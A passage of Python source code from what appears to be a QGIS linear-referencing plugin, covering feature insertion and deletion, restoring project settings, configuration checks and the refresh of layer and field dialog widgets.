selectedOnly=False)[0]\n                        if current_pks:\n                            new_pk = max(current_pks) + 1\n                        else:\n                            new_pk = 1\n                        data_feature[self.ds.dataLyrIdField.name()] = new_pk\n                        # no convenience for string-PKs, but fortunately the FeatureForm checks the uniqueness\n                    try:\n                        self.ds.dataLyr.startEditing()\n                        self.ds.dataLyr.addFeature(data_feature)\n                        # dialog is modal by default\n                        dlg_result = self.iface.openFeatureForm(self.ds.dataLyr, data_feature)\n                        if dlg_result:\n                            insert_ref_pk = data_feature[self.ds.dataLyrReferenceField.name()]\n                            insert_measure = data_feature[self.ds.dataLyrMeasureField.name()]\n                            ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, insert_ref_pk)\n                            # user could have changed feature-data in dialog (PK, Reference-id, measure)\n                            # ➜ validity-check like \"Reference-id exists in refLyr?\" \"measure 0 ...referenced_line_length?\"\n                            if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n\n                                if ref_feature.geometry().constGet().partCount() > 1:\n                                    warning_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Geometry {apos}{0}{apos} in Reference-Layer {apos}{1}{apos} is {2}-parted, Point-on-Line-Feature not calculable\"),insert_ref_pk, self.ds.refLyr.name(), ref_feature.geometry().constGet().partCount())\n\n                                if insert_measure < 0 or insert_measure > ref_feature.geometry().length():\n                                    info_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"measure {0} truncated to range 0 ... {1}\"),insert_measure, ref_feature.geometry().length())\n                                    data_feature[self.ds.dataLyrMeasureField.name()] = max(0, min(ref_feature.geometry().length(), insert_measure))\n                                    self.ds.dataLyr.updateFeature(data_feature)\n\n                                commit_result = self.ds.dataLyr.commitChanges()\n                                if commit_result:\n                                    used_pk = data_feature[self.ds.dataLyrIdField.name()]\n\n                                    did_it = True\n                                    success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"New feature with ID {apos}{0}{apos} successfully added to {apos}{1}{apos}...\"),used_pk, self.ds.dataLyr.name())\n                                else:\n                                    self.ds.dataLyr.rollBack()\n                                    critical_msg = str(self.ds.dataLyr.commitErrors())\n                            else:\n                                self.ds.dataLyr.rollBack()\n                                critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"No Reference-Layer-feature with PK {apos}{0}{apos}...\"),insert_ref_pk)\n                        else:\n                            self.ds.dataLyr.rollBack()\n                            success_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n\n                    except Exception as err:\n                        self.ds.dataLyr.rollBack()\n                        critical_msg = str(err)\n\n        else:\n            critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Add feature failed, missing privileges in Data-Layer {apos}{0}{apos}...\"),self.ds.dataLyr.name())\n\n        if did_it:\n            if self.cf.show_layer_complete:\n                self.ds.showLyr.updateExtents()\n                if self.iface.mapCanvas().isCachingEnabled():\n                    self.ds.showLyr.triggerRepaint()\n                else:\n                    self.iface.mapCanvas().refresh()\n\n            self.set_edit_pk(used_pk, False)\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def s_delete_feature(self):\n        \"\"\"deletes the current selected Data-feature \"\"\"\n        # Rev. 2023-04-27\n        try_delete = True\n        did_it = True\n        critical_msg = ''\n        success_msg = ''\n        info_msg = ''\n        warning_msg = ''\n\n        if self.rs.edit_pk is not None:\n            if self.cf.delete_enabled:\n                if self.check_data_feature(self.rs.edit_pk):\n                    if self.ds.dataLyr.isEditable():\n                        if self.ds.dataLyr.isModified():\n                            dialog_result = QtWidgets.QMessageBox.question(\n                                None,\n                                f\"LinearReferencing Update Feature ({gdp()})\",\n                                qt_format(QtCore.QCoreApplication.translate('PolEvt', \"{div_pre_1}Layer {apos}{0}{apos} is editable!{div_ml_1}[Yes]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{arrow} End edit session with save{br}[No]{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{nbsp}{arrow} End edit session without save{br}[Cancel]{nbsp}{arrow} Quit...{div_ml_2}{div_pre_2}\"),self.ds.dataLyr.name()),\n                                buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No | QtWidgets.QMessageBox.Cancel,\n                                defaultButton=QtWidgets.QMessageBox.Yes\n                            )\n\n                            if dialog_result == QtWidgets.QMessageBox.Yes:\n                                self.ds.dataLyr.commitChanges()\n                            elif dialog_result == QtWidgets.QMessageBox.No:\n                                self.ds.dataLyr.rollBack()\n                            else:\n                                try_delete &= False\n                                did_it = False\n                                info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n                        else:\n                            self.ds.dataLyr.rollBack()\n\n                    if try_delete:\n                        self.ds.dataLyr.startEditing()\n                        dialog_result = QtWidgets.QMessageBox.question(\n                            None,\n                            f\"LinearReferencing ({gdp()})\",\n                            qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Delete feature with ID {apos}{0}{apos} from Data-Layer {apos}{1}{apos}?\"),self.rs.edit_pk, self.ds.dataLyr.name()),\n                            buttons=QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No,\n                            defaultButton=QtWidgets.QMessageBox.Yes\n                        )\n\n                        if dialog_result == QtWidgets.QMessageBox.Yes:\n                            try:\n                                self.ds.dataLyr.deleteFeatures([self.rs.edit_pk])\n                                commit_result = self.ds.dataLyr.commitChanges()\n                                if commit_result:\n                                    did_it = True\n                                    success_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Feature with ID {apos}{0}{apos} successfully deleted in Data-Layer {apos}{1}{apos}...\"),self.rs.edit_pk, self.ds.dataLyr.name())\n                                else:\n                                    self.ds.dataLyr.rollBack()\n                                    did_it = False\n                                    critical_msg = str(self.ds.dataLyr.commitErrors())\n\n                            except Exception as err:\n                                self.ds.dataLyr.rollBack()\n                                did_it = False\n                                critical_msg = f\"Exception '{err.__class__.__name__}' in {gdp()}: {err}\"\n                        else:\n                            self.ds.dataLyr.rollBack()\n                            did_it = False\n                            info_msg = QtCore.QCoreApplication.translate('PolEvt', \"Canceled by user...\")\n            else:\n                did_it = False\n                critical_msg = qt_format(QtCore.QCoreApplication.translate('PolEvt', \"Delete feature failed, missing privileges in layer {apos}{0}{apos}...\"),self.ds.dataLyr.name())\n        else:\n            did_it = False\n            warning_msg = QtCore.QCoreApplication.translate('PolEvt', \"Delete feature failed, no feature selected...\")\n\n        if did_it:\n            if self.cf.show_layer_complete:\n                if self.iface.mapCanvas().isCachingEnabled():\n                    self.ds.showLyr.triggerRepaint()\n                else:\n                    self.iface.mapCanvas().refresh()\n            self.resume_measure()\n\n        self.push_messages(success_msg, info_msg, warning_msg, critical_msg)\n\n    def restore_settings(self):\n        \"\"\"restores self.ss from Project\"\"\"\n        # Rev. 2023-04-27\n\n        self.ss = self.StoredSettings()\n        # read stored settings from project:\n        # filter: startswith('_')\n        # ➜ read and set \"hidden\" properties, not their property-setter/getter/deleter\n        property_list = [prop for prop in dir(self.StoredSettings) if prop.startswith('_') and not prop.startswith('__')]\n\n        for prop_name in property_list:\n            key = f\"/PolEvt/{prop_name}\"\n            restored_value, type_conversion_ok = qgis.core.QgsProject.instance().readEntry('LinearReferencing', key)\n            if restored_value and type_conversion_ok:\n                setattr(self.ss, prop_name, restored_value)\n\n        # pre-check some settings, final check via check_settings\n        reference_layer_defined = (\n                self.ss._refLyrId is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._refLyrId) is not None\n        )\n\n        reference_layer_complete = (\n                reference_layer_defined and\n                self.ss._refLyrIdFieldName is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._refLyrId).fields().indexOf(self.ss._refLyrIdFieldName) >= 0\n        )\n\n        data_layer_complete = (\n                self.ss._dataLyrId is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._dataLyrId) is not None and\n                self.ss._dataLyrIdFieldName is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._dataLyrId).fields().indexOf(self.ss._dataLyrIdFieldName) >= 0 and\n                self.ss._dataLyrReferenceFieldName is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._dataLyrId).fields().indexOf(self.ss._dataLyrReferenceFieldName) >= 0 and\n                self.ss._dataLyrMeasureFieldName is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._dataLyrId).fields().indexOf(self.ss._dataLyrMeasureFieldName) >= 0\n        )\n\n        show_layer_complete = (\n                self.ss._showLyrId is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._showLyrId) is not None and\n                self.ss._showLyrBackReferenceFieldName is not None and\n                qgis.core.QgsProject.instance().mapLayer(self.ss._showLyrId).fields().indexOf(self.ss._showLyrBackReferenceFieldName) >= 0\n        )\n\n        # all or nothing\n        # access via setter of the properties to set the project \"dirty\"\n        if not reference_layer_complete:\n            self.ss._refLyrId = None\n            self.ss._refLyrIdFieldName = None\n\n        if not reference_layer_complete or not data_layer_complete:\n            self.ss._dataLyrId = None\n            self.ss._dataLyrIdFieldName = None\n            self.ss._dataLyrReferenceFieldName = None\n            self.ss._dataLyrMeasureFieldName = None\n\n        if not reference_layer_complete or not data_layer_complete or not show_layer_complete:\n            self.ss._showLyrId = None\n            self.ss._showLyrBackReferenceFieldName = None\n\n    def check_settings(self, tool_mode: str = None):\n        \"\"\" restores self.ds from self.ss, checks the current configuration\n        :param tool_mode: checks the settings for this tool-mode and set self.rs.tool_mode, if settings are sufficient. If None, self.rs.tool_mode is used\n        \"\"\"\n        # Rev. 2023-05-03\n\n        if tool_mode and tool_mode not in self.tool_modes:\n            self.push_messages(warning_msg=qt_format(QtCore.QCoreApplication.translate('PolEvt', \"tool_mode {apos}{0}{apos} not implemented...\"),tool_mode))\n            tool_mode = None\n\n        if not tool_mode:\n            # use current toolmode\n            tool_mode = self.rs.tool_mode\n\n        if not tool_mode:\n            # no current toolmode ➜ first run\n            tool_mode = 'measuring'\n\n        # each time re-init with blank \"templates\"\n        self.ds = self.DeferedSettings()\n        self.cf = self.CheckFlags()\n\n        if self.iface.mapCanvas().mapSettings().destinationCrs().isGeographic():\n            self.rs.num_digits = 4\n        else:\n            self.rs.num_digits = 1\n\n        # for type-matching-checks of reference/join-Fields:\n        # PKs in databases ar normaly type int, but there are four types of integers, which can be mixed\n        # all other possible types (propably string...) must match exact\n        integer_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong]\n        pk_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong, QtCore.QVariant.String]\n        numeric_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong, QtCore.QVariant.Double]\n\n        # get the resources == loaded layers in current project\n        data_layers = tools.MyToolFunctions.get_data_layers()\n        linestring_layers = tools.MyToolFunctions.get_linestring_layers()\n        point_layers = tools.MyToolFunctions.get_point_layers()\n\n        # convenience for the basic requisite:\n        # if not set so far: take the topmost linestring-layer\n        if not self.ss.refLyrId or self.ss.refLyrId not in linestring_layers:\n            if linestring_layers:\n                new_ref_lyer = list(linestring_layers.values()).pop()\n                self.connect_reference_layer(new_ref_lyer)\n\n        if self.ss.refLyrId and self.ss.refLyrId in linestring_layers:\n            self.ds.refLyr = linestring_layers[self.ss.refLyrId]\n\n        if self.ds.refLyr and self.ss.refLyrIdFieldName:\n            fnx = self.ds.refLyr.dataProvider().fields().indexOf(self.ss.refLyrIdFieldName)\n            if fnx >= 0 and self.ds.refLyr.dataProvider().fields()[fnx].type() in pk_field_types:\n                self.ds.refLyrPkField = self.ds.refLyr.dataProvider().fields()[fnx]\n\n        if self.ss.dataLyrId and self.ss.dataLyrId in data_layers:\n            self.ds.dataLyr = data_layers[self.ss.dataLyrId]\n\n        if self.ds.dataLyr and self.ss.dataLyrIdFieldName:\n            fnx = self.ds.dataLyr.dataProvider().fields().indexOf(self.ss.dataLyrIdFieldName)\n            if fnx >= 0 and self.ds.dataLyr.dataProvider().fields()[fnx].type() in numeric_field_types:\n                self.ds.dataLyrIdField = self.ds.dataLyr.dataProvider().fields()[fnx]\n\n        if self.ds.dataLyr and self.ds.refLyr and self.ds.refLyrPkField and self.ss.dataLyrReferenceFieldName:\n            fnx = self.ds.dataLyr.dataProvider().fields().indexOf(self.ss.dataLyrReferenceFieldName)\n            if fnx >= 0 and (self.ds.refLyrPkField.type() == self.ds.dataLyr.dataProvider().fields()[fnx].type()) or (self.ds.refLyrPkField.type() in integer_field_types and self.ds.dataLyr.dataProvider().fields()[fnx].type() in integer_field_types):\n                self.ds.dataLyrReferenceField = self.ds.dataLyr.dataProvider().fields()[fnx]\n\n        if self.ds.dataLyr and self.ss.dataLyrMeasureFieldName:\n            fnx = self.ds.dataLyr.dataProvider().fields().indexOf(self.ss.dataLyrMeasureFieldName)\n            if fnx >= 0 and self.ds.dataLyr.dataProvider().fields()[fnx].type() in numeric_field_types:\n                self.ds.dataLyrMeasureField = self.ds.dataLyr.dataProvider().fields()[fnx]\n\n        if self.ss.showLyrId and self.ss.showLyrId in point_layers and self.ss.showLyrId != self.ss.refLyrId:\n            self.ds.showLyr = point_layers[self.ss.showLyrId]\n\n        if self.ds.showLyr and self.ds.dataLyrIdField and self.ss.showLyrBackReferenceFieldName:\n            fnx = self.ds.showLyr.dataProvider().fields().indexOf(self.ss.showLyrBackReferenceFieldName)\n            if fnx >= 0 and (self.ds.dataLyrIdField.type() == self.ds.showLyr.dataProvider().fields()[fnx].type()) or (self.ds.dataLyrIdField.type() in integer_field_types and self.ds.showLyr.dataProvider().fields()[fnx].type() in integer_field_types):\n                self.ds.showLyrBackReferenceField = self.ds.showLyr.dataProvider().fields()[fnx]\n\n        self.cf.reference_layer_defined = self.ds.refLyr is not None\n\n        self.cf.reference_layer_complete = (\n                self.cf.reference_layer_defined and\n                self.ds.refLyrPkField is not None\n        )\n        self.cf.data_layer_defined = self.ds.dataLyr is not None\n        self.cf.data_layer_complete = (\n                self.cf.data_layer_defined and\n                self.ds.dataLyrIdField is not None and\n                self.ds.dataLyrReferenceField is not None and\n                self.ds.dataLyrMeasureField is not None\n        )\n        self.cf.show_layer_defined = self.ds.showLyr is not None\n        self.cf.show_layer_complete = (\n                self.cf.show_layer_defined and\n                self.ds.showLyrBackReferenceField is not None\n        )\n\n        if self.rs.snapped_ref_fid is not None:\n            if self.cf.reference_layer_defined:\n                ref_feature = self.ds.refLyr.getFeature(self.rs.snapped_ref_fid)\n                if not (ref_feature and ref_feature.isValid() and ref_feature.hasGeometry()):\n                    self.rs.snapped_ref_fid = None\n            else:\n                self.rs.snapped_ref_fid = None\n\n        checked_edit_pk = None\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete:\n            # double-check: data_feature and ref_feature\n            if self.rs.edit_pk is not None:\n\n                data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, self.rs.edit_pk)\n                if data_feature and data_feature.isValid():\n                    ref_id = data_feature[self.ss.dataLyrReferenceFieldName]\n                    ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, ref_id)\n                    if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                        checked_edit_pk = self.rs.edit_pk\n\n        self.rs.edit_pk = checked_edit_pk\n\n        # make unique\n        self.rs.selected_pks = list(dict.fromkeys(self.rs.selected_pks))\n\n        checked_selected_pks = []\n        if self.cf.reference_layer_complete and self.cf.data_layer_complete and len(self.rs.selected_pks) > 0:\n            not_valid_count = 0\n            no_ref_layer_count = 0\n            # check self.rs.selected_pks: iterate through List of PKs and query features\n            for pk in self.rs.selected_pks:\n                data_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.dataLyr, self.ds.dataLyrIdField, pk)\n                if data_feature and data_feature.isValid():\n                    ref_id = data_feature[self.ss.dataLyrReferenceFieldName]\n                    ref_feature = tools.MyToolFunctions.get_feature_by_value(self.ds.refLyr, self.ds.refLyrPkField, ref_id)\n                    if ref_feature and ref_feature.isValid() and ref_feature.hasGeometry() and not ref_feature.geometry().isEmpty():\n                        checked_selected_pks.append(pk)\n                    else:\n                        no_ref_layer_count += 1\n                else:\n                    not_valid_count += 1\n\n            if not_valid_count:\n                self.push_messages(info_msg=f\"{not_valid_count} feature(s) removed from selection, features not valid\")\n\n            if no_ref_layer_count:\n                self.push_messages(info_msg=f\"{no_ref_layer_count} feature(s) removed from selection, no referenced linestring feature found\")\n\n        self.rs.selected_pks = checked_selected_pks\n\n\n\n\n        # check tool_mode and switch if required\n        if tool_mode in ['init', 'disabled']:\n            if self.cf.reference_layer_defined:\n                tool_mode = 'measuring'\n            else:\n                tool_mode = 'disabled'\n        elif tool_mode in ['measuring', 'after_measure', 'before_move_point', 'move_point']:\n            if not self.cf.reference_layer_defined:\n                tool_mode = 'disabled'\n        elif tool_mode in ['select_features']:\n            if not self.cf.reference_layer_defined and not self.cf.data_layer_complete and not self.cf.show_layer_complete:\n                if self.cf.reference_layer_defined:\n                    tool_mode = 'measuring'\n                else:\n                    tool_mode = 'disabled'\n\n        self.cf.measure_completed = (\n                self.cf.reference_layer_defined and\n                self.rs.snapped_ref_fid is not None and\n                self.rs.current_measure is not None\n        )\n\n        self.cf.insert_enabled = (\n                self.cf.measure_completed and\n                self.cf.reference_layer_complete and\n                self.cf.data_layer_complete and\n                (self.ds.dataLyr.dataProvider().capabilities() & qgis.core.QgsVectorDataProvider.AddFeatures)\n        )\n\n        self.cf.update_enabled = (\n                self.cf.data_layer_complete and\n                (self.ds.dataLyr.dataProvider().capabilities() & qgis.core.QgsVectorDataProvider.ChangeAttributeValues)\n        )\n\n        self.cf.delete_enabled = (\n                self.cf.data_layer_complete and\n                (self.ds.dataLyr.dataProvider().capabilities() & qgis.core.QgsVectorDataProvider.DeleteFeatures)\n        )\n\n        # see https://doc.qt.io/qt-5/qt.html#CursorShape-enum\n        if type(self.iface.mapCanvas().mapTool()) == PolEvt:\n            if tool_mode in ['measuring', 'after_measure', 'select_features']:\n                self.iface.mapCanvas().setCursor(QtCore.Qt.CrossCursor)\n            elif tool_mode in ['before_move_point']:\n                self.iface.mapCanvas().setCursor(QtCore.Qt.OpenHandCursor)\n            elif tool_mode in ['move_point']:\n                self.iface.mapCanvas().setCursor(QtCore.Qt.ClosedHandCursor)\n            else:\n                self.iface.mapCanvas().setCursor(QtCore.Qt.ArrowCursor)\n\n        self.rs.tool_mode = tool_mode\n        # show Toolmode in status_bar\n        if self.my_dialogue:\n            self.my_dialogue.status_bar.clearMessage()\n            self.my_dialogue.status_bar.showMessage(f\"{self.rs.tool_mode} ➜ {self.tool_modes.get(self.rs.tool_mode)}\")\n\n    def dlg_refresh_style_settings_section(self):\n        if self.my_dialogue:\n            block_widgets = [\n                self.my_dialogue.qcb_pt_measure_icon_type,\n                self.my_dialogue.qspb_pt_measure_icon_size,\n                self.my_dialogue.qspb_pt_measure_pen_width,\n                self.my_dialogue.qpb_pt_measure_color,\n                self.my_dialogue.qpb_pt_measure_fill_color,\n\n                self.my_dialogue.qcb_pt_edit_icon_type,\n                self.my_dialogue.qspb_pt_edit_icon_size,\n                self.my_dialogue.qspb_pt_edit_pen_width,\n                self.my_dialogue.qpb_pt_edit_color,\n                self.my_dialogue.qpb_pt_edit_fill_color,\n\n                self.my_dialogue.qcb_ref_line_line_style,\n                self.my_dialogue.qspb_ref_line_width,\n                self.my_dialogue.qpb_ref_line_color,\n            ]\n\n            for widget in block_widgets:\n                widget.blockSignals(True)\n\n            tools.MyToolFunctions.select_by_value(self.my_dialogue.qcb_pt_measure_icon_type, self.ss.pt_measure_icon_type, 0, 256)\n            tools.MyToolFunctions.select_by_value(self.my_dialogue.qcb_pt_edit_icon_type, self.ss.pt_edit_icon_type, 0, 256)\n            tools.MyToolFunctions.select_by_value(self.my_dialogue.qcb_ref_line_line_style, self.ss.ref_line_line_style, 0, 256)\n            self.my_dialogue.qpb_pt_measure_color.set_color(self.ss.pt_measure_color)\n            self.my_dialogue.qpb_pt_measure_fill_color.set_color(self.ss.pt_measure_fill_color)\n            self.my_dialogue.qpb_pt_edit_color.set_color(self.ss.pt_edit_color)\n            self.my_dialogue.qpb_pt_edit_fill_color.set_color(self.ss.pt_edit_fill_color)\n            self.my_dialogue.qpb_ref_line_color.set_color(self.ss.ref_line_color)\n            self.my_dialogue.qspb_pt_edit_icon_size.setValue(self.ss.pt_edit_icon_size)\n            self.my_dialogue.qspb_pt_edit_pen_width.setValue(self.ss.pt_edit_pen_width)\n            self.my_dialogue.qspb_pt_measure_icon_size.setValue(self.ss.pt_measure_icon_size)\n            self.my_dialogue.qspb_pt_measure_pen_width.setValue(self.ss.pt_measure_pen_width)\n            self.my_dialogue.qspb_ref_line_width.setValue(self.ss.ref_line_width)\n\n            for widget in block_widgets:\n                widget.blockSignals(False)\n\n    def dlg_refresh_layer_settings_section(self):\n        \"\"\"refreshes the settings-part in dialog\"\"\"\n        # Rev. 2023-05-10\n        if self.my_dialogue:\n\n            block_widgets = [\n                self.my_dialogue.qcbn_reference_layer,\n                self.my_dialogue.qcbn_reference_layer_id_field,\n                self.my_dialogue.qcbn_data_layer,\n                self.my_dialogue.qcbn_data_layer_id_field,\n                self.my_dialogue.qcbn_data_layer_reference_field,\n                self.my_dialogue.qcbn_data_layer_measure_field,\n                self.my_dialogue.qcbn_show_layer,\n                self.my_dialogue.qcbn_show_layer_back_reference_field\n            ]\n\n            for widget in block_widgets:\n                widget.blockSignals(True)\n                widget.clear()\n\n            linestring_layers = tools.MyToolFunctions.get_linestring_layers()\n            pk_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong, QtCore.QVariant.String]\n            integer_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong]\n            numeric_field_types = [QtCore.QVariant.Int, QtCore.QVariant.UInt, QtCore.QVariant.LongLong, QtCore.QVariant.ULongLong, QtCore.QVariant.Double]\n\n            # refresh Settings Layers and Fields...\n            model = QtGui.QStandardItemModel(0, 3)\n            for cltrl in qgis.core.QgsProject.instance().layerTreeRoot().findLayers():\n                if cltrl.layer():\n                    cl = cltrl.layer()\n                    name_item = QtGui.QStandardItem(cl.name())\n                    name_item.setData(cl, 256)\n                    name_item.setEnabled(cl.id() in linestring_layers)\n                    if isinstance(cl, qgis.core.QgsVectorLayer):\n                        geometry_item = QtGui.QStandardItem(qgis.core.QgsWkbTypes.displayString(cl.dataProvider().wkbType()))\n                    else:\n                        geometry_item = QtGui.QStandardItem(\"Raster\")\n\n                    if isinstance(cl, qgis.core.QgsVectorLayer) and cl.dataProvider().name() != 'virtual':\n                        provider_item = QtGui.QStandardItem(f\"{cl.dataProvider().name()} ({cl.dataProvider().storageType()})\")\n                    else:\n                        provider_item = QtGui.QStandardItem(cl.dataProvider().name())\n\n                    items = [name_item, geometry_item, provider_item]\n                    model.appendRow(items)\n\n            self.my_dialogue.qcbn_reference_layer.set_model(model)\n            if self.ds.refLyr:\n                self.my_dialogue.qcbn_reference_layer.select_by_value(0, 256, self.ds.refLyr)\n                # Reference-Layer is selected, now select the Id-Field\n                model = QtGui.QStandardItemModel(0, 3)\n                idx = 0\n                for field in self.ds.refLyr.dataProvider().fields():\n                    name_item = QtGui.QStandardItem(field.name())\n                    name_item.setData(field, 256)\n                    name_item.setEnabled(field.type() in pk_field_types)\n                    # mark PK-Field with green check-icon\n                    is_pk_item = QtGui.QStandardItem()\n                    if idx in self.ds.refLyr.dataProvider().pkAttributeIndexes():\n                        is_pk_item.setData(QtGui.QIcon(':icons/Green_check_icon_with_gradient.svg'), 1)  # DecorationRole\n                    type_item = QtGui.QStandardItem(field.friendlyTypeString())\n                    items = [name_item, type_item, is_pk_item]\n                    model.appendRow(items)\n                    idx += 1\n\n                self.my_dialogue.qcbn_reference_layer_id_field.set_model(model)\n\n                if self.ds.refLyrPkField:\n                    # QtCore.Qt.ExactMatch doesn't match anything if used for fields, therefore match with role-index 0 (DisplayRole, Text-Content) with the (hopefully unique...) name of the field\n                    self.my_dialogue.qcbn_reference_layer_id_field.select_by_value(0, 0, self.ds.refLyrPkField.name())\n                    # PK-Field is selected, now the Data-Layer\n                    model = QtGui.QStandardItemModel(0, 3)\n\n                    # in ihrer TOC-Reihenfolge\n                    for cltrl in qgis.core.QgsProject.instance().layerTreeRoot().findLayers():\n                        if cltrl.layer():\n                            cl = cltrl.layer()\n                            name_item = QtGui.QStandardItem(cl.name())\n                            name_item.setData(cl, 256)\n                            name_item.setEnabled(cl.type() == qgis.core.QgsMapLayerType.VectorLayer and cl.geometryType() == qgis.core.QgsWkbTypes.NullGeometry)\n                            if isinstance(cl, qgis.core.QgsVectorLayer):\n                                geometry_item = QtGui.QStandardItem(qgis.core.QgsWkbTypes.displayString(cl.dataProvider().wkbType()))\n                            else:\n                                geometry_item = QtGui.QStandardItem(\"Raster\")\n\n                            if isinstance(cl, qgis.core.QgsVectorLayer) and cl.dataProvider().name() != 'virtual':\n                                provider_item = QtGui.QStandardItem(f\"{cl.dataProvider().name()} ({cl.dataProvider().storageType()})\")\n                            else:\n                                provider_item = QtGui.QStandardItem(cl.dataProvider().name())\n\n                            items = [name_item, geometry_item, provider_item]\n                            model.appendRow(items)\n\n                    self.my_dialogue.qcbn_data_layer.set_model(model)\n\n                    if self.ds.dataLyr:\n                        self.my_dialogue.qcbn_data_layer.select_by_value(0, 256, self.ds.dataLyr)\n                        # dataLyr set, now the ID-Field\n\n                        idx = 0\n                        model = QtGui.QStandardItemModel(0, 3)\n\n                        for field in self.ds.dataLyr.dataProvider().fields():\n                            name_item = QtGui.QStandardItem(field.name())\n                            name_item.setData(field, 256)\n                            name_item.setEnabled(field.type() in pk_field_types)\n                            # mark PK-Field with green check-icon\n                            is_pk_item = QtGui.QStandardItem()\n                            if idx in self.ds.refLyr.dataProvider().pkAttributeIndexes():\n                                is_pk_item.setData(QtGui.QIcon(':icons/Green_check_icon_with_gradient.svg'), 1)  # DecorationRole\n                            type_item = QtGui.QStandardItem(field.friendlyTypeString())\n                            items = [name_item, type_item, is_pk_item]\n                            model.appendRow(items)\n                            idx += 1\n\n                        self.my_dialogue.qcbn_data_layer_id_field.set_model(model)\n\n                        if self.ds.dataLyrIdField:\n                            self.my_dialogue.qcbn_data_layer_id_field.select_by_value(0, 0, self.ds.dataLyrIdField.name())\n                            # PkField set, now the Reference-Field\n                            idx = 0\n                            model = QtGui.QStandardItemModel(0, 3)\n                            for field in self.ds.dataLyr.dataProvider().fields():\n                                name_item = QtGui.QStandardItem(field.name())\n                                name_item.setData(field, 256)\n                                # must be same type as type refLyrPkField, not ID-Field and not the selected PK-Field\n                                name_item.setEnabled(field != self.ds.dataLyrIdField and\n                                                     idx not in self.ds.dataLyr.dataProvider().pkAttributeIndexes() and\n                                                     (\n                                                             (self.ds.refLyrPkField.type() in integer_field_types and field.type() in integer_field_types) or\n                                                             field.type() == self.ds.refLyrPkField.type()\n                                                     )\n                                                     )\n                                # mark PK-Field with green check-icon\n                                is_pk_item = QtGui.QStandardItem()\n                                if idx in self.ds.refLyr.dataProvider().pkAttributeIndexes():\n                                    is_pk_item.setData(QtGui.QIcon(':icons/Green_check_icon_with_gradient.svg'), 1)  # DecorationRole\n                                type_item = QtGui.QStandardItem(field.friendlyTypeString())\n                                items = [name_item, type_item, is_pk_item]\n                                model.appendRow(items)\n                                idx += 1\n\n                            self.my_dialogue.qcbn_data_layer_reference_field.set_model(model)\n\n                            if self.ds.dataLyrReferenceField:\n                                self.my_dialogue.qcbn_data_layer_reference_field.select_by_value(0, 0, self.ds.dataLyrReferenceField.name())\n\n                                idx = 0\n                                model = QtGui.QStandardItemModel(0, 3)\n                                for field in self.ds.dataLyr.dataProvider().fields():\n                                    name_item = QtGui.QStandardItem(field.name())\n                                    name_item.setData(field, 256)\n                                    # numerical, but no PK and not one of the almost selected fields. Can a double-value be used as PK or Reference-key...?\n                                    name_item.setEnabled(\n                                        field.type() in numeric_field_types and\n                                        field != self.ds.dataLyrIdField and\n                                        field != self.ds.dataLyrReferenceField and\n                                        idx not in self.ds.dataLyr.dataProvider().pkAttributeIndexes()\n                                    )\n                                    # mark PK-Field with green check-icon\n                                    is_pk_item = QtGui.QStandardItem()\n                                    if idx in self.ds.refLyr.dataProvider().pkAttributeIndexes():\n                                        is_pk_item.setData(QtGui.QIcon(':icons/Green_check_icon_with_gradient.svg'), 1)  # DecorationRole\n                                    type_item = QtGui.QStandardItem(field.friendlyTypeString())\n                                    items = [name_item, type_item, is_pk_item]\n                                    model.appendRow(items)\n                                    idx += 1\n\n                                self.my_dialogue.qcbn_data_layer_measure_field.set_model(model)\n\n                                if self.ds.dataLyrMeasureField:\n                                    self.my_dialogue.qcbn_data_layer_measure_field.select_by_value(0, 0, self.ds.dataLyrMeasureField.name())\n\n                                    model = QtGui.QStandardItemModel(0, 3)\n                                    for cltrl in qgis.core.QgsProject.instance().layerTreeRoot().findLayers():\n                                        if cltrl.layer():\n                                            cl = cltrl.layer()\n                                            name_item = QtGui.QStandardItem(cl.name())\n                                            name_item.setData(cl, 256)\n                                            # Type vector, Point\n                                            # not (!) ogr\n                                            # ➜ must be database-view or virtual\n                                            # not found pyqgis-solution to detect database-layers\n                                            dep_lst = []\n                                            if cl.dataProvider().name() == 'virtual':\n                                                for dp in cl.dataProvider().dependencies():\n                                                    dep_lst.append(dp.layerId())\n\n                                            name_item.setEnabled(\n                                                cl.type() == qgis.core.QgsMapLayerType.VectorLayer and\n                                                